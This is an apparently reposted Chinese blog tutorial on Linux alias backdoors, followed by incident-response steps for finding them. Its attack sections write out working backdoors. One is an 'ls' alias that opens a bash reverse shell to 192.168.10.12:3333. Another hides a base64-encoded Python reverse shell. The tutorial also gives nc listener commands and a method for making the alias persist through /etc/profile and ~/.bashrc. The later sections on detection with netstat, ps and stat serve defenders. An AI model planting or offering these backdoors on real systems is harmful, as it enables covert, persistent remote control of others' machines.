alias 后门从入门到应急响应

devtools/2024/9/24 12:52:05/

目录

1. alias 后门介绍

2. alias 后门注入方式

2.1 方式一(以函数的方式执行)

2.2 方式二(执行python脚本)

3.应急响应 

3.1  查看所有连接

3.2 通过PID查看异常连接的进程,以及该进程正在执行的命令行命令

3.3 查看别名

3.4 其他情况  

3.5 那么检查这些启动程序和配置文件是否被篡改


1. alias 后门介绍

        在Linux系统中,alias命令通常用于为常用的命令设置快捷方式或别名,以提高工作效率。然而,这个特性也可能被滥用来创建后门,允许攻击者在不知情的情况下执行恶意命令。

2. alias 后门注入方式

2.1 方式一(以函数的方式执行)

alias命令的功能:为命令设置别名
alias 查看命令的别名
定义:alias ls="ls -al"
删除别名的:unalias ls
每次输入ls命令的时候都能实现ls -al# 方式一设置 输入ls时会卡主
alias ls="ls -al"
alias ls='alerts(){ ls $* --color=auto;bash -i >& /dev/tcp/192.168.10.12/3333 0>&1; };alerts'# 反弹shell,只需要被植入的后门的主机输入ls命令就会反弹一次shell,但是会卡主容易被发现

 设置完毕后,每输入一次ls命令就会反弹一次shell ,但是会卡主,容易引起怀疑

 在kali监听主机端,输入nc -lvvp 3333 监听端口

2.2 方式二(执行python脚本)

alias命令的功能:为命令设置别名
alias 查看命令的别名
定义:alias ls="ls -al"
删除别名的:unalias ls
每次输入ls命令的时候都能实现ls -al# 设置一后再设置二时先删除1
unalias ls
alias ls="ls -al"# 方式二设置 需要有Python3环境
alias ls='alerts(){ ls $* --color=auto;python3 -c "import base64,sys;exec(base64.b64decode({2:str,3:lambda b:bytes(b,'\''UTF-8'\'')}[sys.version_info[0]]('\''aW1wb3J0IG9zLHNvY2tldCxzdWJwcm9jZXNzOwpyZXQgPSBvcy5mb3JrKCkKaWYgcmV0ID4gMDoKICAgIGV4aXQoKQplbHNlOgogICAgdHJ5OgogICAgICAgIHMgPSBzb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULCBzb2NrZXQuU09DS19TVFJFQU0pCiAgICAgICAgcy5jb25uZWN0KCgiMTkyLjE2OC4xMC4xNSIsIDMzMzMpKQogICAgICAgIG9zLmR1cDIocy5maWxlbm8oKSwgMCkKICAgICAgICBvcy5kdXAyKHMuZmlsZW5vKCksIDEpCiAgICAgICAgb3MuZHVwMihzLmZpbGVubygpLCAyKQogICAgICAgIHAgPSBzdWJwcm9jZXNzLmNhbGwoWyIvYmluL3NoIiwgIi1pIl0pCiAgICBleGNlcHQgRXhjZXB0aW9uIGFzIGU6CiAgICAgICAgZXhpdCgpCg=='\'')))";};alerts'# 反弹shell
nc -lvvp 3333 # 通过在 ~/.bash_profile  /etc/profile 这两个系统的配置文件中进行设置,使得服务器每次登录后就触发alias后门 
vim /etc/upload
vim ~/.bashrc
if [ -f /etc/upload ]; then
. /etc/upload
fi

在目标主机上配置后门时需要确保目标主机有Python3的运行环境,不然无法进行反弹shell

Ubantu和Centos7一键shell更换镜像源与Linux系统Python3环境安装-CSDN博客icon-default.png?t=O83Ahttps://blog.csdn.net/weixin_72543266/article/details/142066916?spm=1001.2014.3001.5502        在进行反弹shell,时需要对执行的脚本代码中的base64中的内容进行修改.先解吗中间的base64部分,改完后,在编码回去替换

Base64 编码/解码 - 锤子在线工具此工具是一个 Base64 编码或解码在线工具,实现把字符串转成 Base64 或者从 Base64 转成成字符串。icon-default.png?t=O83Ahttps://www.toolhelper.cn/EncodeDecode/Base64

aW1wb3J0IG9zLHNvY2tldCxzdWJwcm9jZXNzOwpyZXQgPSBvcy5mb3JrKCkKaWYgcmV0ID4gMDoKICAgIGV4aXQoKQplbHNlOgogICAgdHJ5OgogICAgICAgIHMgPSBzb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULCBzb2NrZXQuU09DS19TVFJFQU0pCiAgICAgICAgcy5jb25uZWN0KCgiMTkyLjE2OC44Ni4xMzciLCAzMzMzKSkKICAgICAgICBvcy5kdXAyKHMuZmlsZW5vKCksIDApCiAgICAgICAgb3MuZHVwMihzLmZpbGVubygpLCAxKQogICAgICAgIG9zLmR1cDIocy5maWxlbm8oKSwgMikKICAgICAgICBwID0gc3VicHJvY2Vzcy5jYWxsKFsiL2Jpbi9zaCIsICItaSJdKQogICAgZXhjZXB0IEV4Y2VwdGlvbiBhcyBlOgogICAgICAgIGV4aXQoKQo=

# 查看别名
alias
# 如果之前有设置过,需要先删除,然后重新设置
unalias ls# 设置别名的内容,记得使用前需要修改哦(一定要将反弹shell的ip地址设置正确)
alias ls='alerts(){ ls $* --color=auto;python3 -c "import base64,sys;exec(base64.b64decode({2:str,3:lambda b:bytes(b,'\''UTF-8'\'')}[sys.version_info[0]]('\''aW1wb3J0IG9zLHNvY2tldCxzdWJwcm9jZXNzOwpyZXQgPSBvcy5mb3JrKCkKaWYgcmV0ID4gMDoKICAgIGV4aXQoKQplbHNlOgogICAgdHJ5OgogICAgICAgIHMgPSBzb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULCBzb2NrZXQuU09DS19TVFJFQU0pCiAgICAgICAgcy5jb25uZWN0KCgiMTkyLjE2OC4xMC4xMiIsIDMzMzMpKQogICAgICAgIG9zLmR1cDIocy5maWxlbm8oKSwgMCkKICAgICAgICBvcy5kdXAyKHMuZmlsZW5vKCksIDEpCiAgICAgICAgb3MuZHVwMihzLmZpbGVubygpLCAyKQogICAgICAgIHAgPSBzdWJwcm9jZXNzLmNhbGwoWyIvYmluL3NoIiwgIi1pIl0pCiAgICBleGNlcHQgRXhjZXB0aW9uIGFzIGU6CiAgICAgICAgZXhpdCgpCg=='\'')))";};alerts'# 设置完后确认一下
alias

 这里用监听机kali进行监听反弹回来的端口

# 监听主机进行监听
nc -lvvp 3333

3.应急响应 

 此时确定后门以进行连接

3.1  查看所有连接

发现与 192.168.10.2:20546 的异常连接,是反弹的shell连接

netstat -anpt

3.2 通过PID查看异常连接的进程,以及该进程正在执行的命令行命令

ps aux | grep 33636

查看 PID 为33636的 PPID,发现是1

cat /proc/33636/status

3.3 查看别名

通过alias发现了异常别名

这里对base64文件进行解码发现确实为反弹shell的py脚本

3.4 其他情况  

      通过使用命令​​unalias alert​​​ 可以删除别名,但是如果下一次 ssh 远程登录该服务器,又会重新出现该别名,如上图所示,猜测可能 alias 后门写进了 系统的启动程序和配置文件中,比如: ​​/etc/profile 、 /etc/bashrc 、~/.bashrc 、~/.bash_profile 、~/.profile、~/.bash_logout​​ 才会导致,每次登录服务器就会重新触发 alias 后门

3.5 那么检查这些启动程序和配置文件是否被篡改

将检查出来存在修改的文件信息,进行删除即可

stat ~/.bash_profile 
stat /etc/profile

 


http://www.ppmy.cn/devtools/116499.html

相关文章

在idea里运行swing程序正常,但是在外部运行jar包却报错,可能是jdk版本问题

在idea里运行swing程序异常,报Caused by: java.awt.HeadlessException错误 System.setProperty("java.awt.headless","false");加上这句话

通信工程学习:什么是VM虚拟机

VM:虚拟机 VM虚拟机(Virtual Machine)是一种通过软件模拟的计算机系统,它能够在物理计算机上模拟并运行多个独立的虚拟计算机系统。以下是关于VM虚拟机的详细解释: 一、VM虚拟机的定义与原理 定义: VM虚拟…

路由器的天线有什么用?数量多≠信号强?

你是否也曾凝视着路由器上那几根或长或短的天线,心中暗自嘀咕:“这些天线到底有啥用?是不是天线越多,信号就越强呢?”今天,让我们一同揭开这一谜团! 一、路由器天线的核心作用 1. 信号发射与接…

基于单片机的风机故障检测装置的设计与实现(论文+源码)

1 系统总体设计方案 通过对风机故障检测装置的设计与实现的需求、可行性进行分析,本设计风机故障检测装置的设计与实现的系统总体架构设计如图2-1所示,系统风机故障检测装置采用STM32F103单片机作为控制器,并通过DS18B20温度传感器、ACS712电…

11年计算机考研408-数据结构

设执行了k次。 解析: d要第一个出,那么abc先入栈,d入栈然后再出栈,这前面是一个固定的流程,后面就很灵活了,可以ecba,ceba,cbea,cbae。 答案是4个序列。 解析&#xff1a…

Leetcode—329. 矩阵中的最长递增路径【困难】

2024每日刷题&#xff08;165&#xff09; Leetcode—329. 矩阵中的最长递增路径 dfs dp实现代码 class Solution { public:int longestIncreasingPath(vector<vector<int>>& matrix) {// 9 9 4// 6 6 8// 2 1 1// 1 1 2// 2 2 1// 3 4 2int m …

抖音矩阵系统源码搭建批量剪辑矩阵分发,可开源或oem

矩阵营销系统通过多平台账号绑定、多任务创建、短视频智能剪辑、多任务多平台分发、私信评论自动回复等功能&#xff0c;企业可以更加轻松地管理并运维矩阵账号&#xff0c;实现更高效的短视频推广。 抖音账号矩阵的开发核心维度包括&#xff1a; 多账号管理开发维度&#xf…

对onlyoffice进行定制化开发

基于onlyoffice8.0源码&#xff0c;进行二次开发&#xff0c;可实现包括但不限于以下的功能 1、内容控件的插入 2、内容空间的批量替换 3、插入文本 4、插入图片 5、添加&#xff0c;去除水印 6、修改同时在线人数限制 7、内容域的删除 8、页面UI的定制化 9、新增插件开发 10、…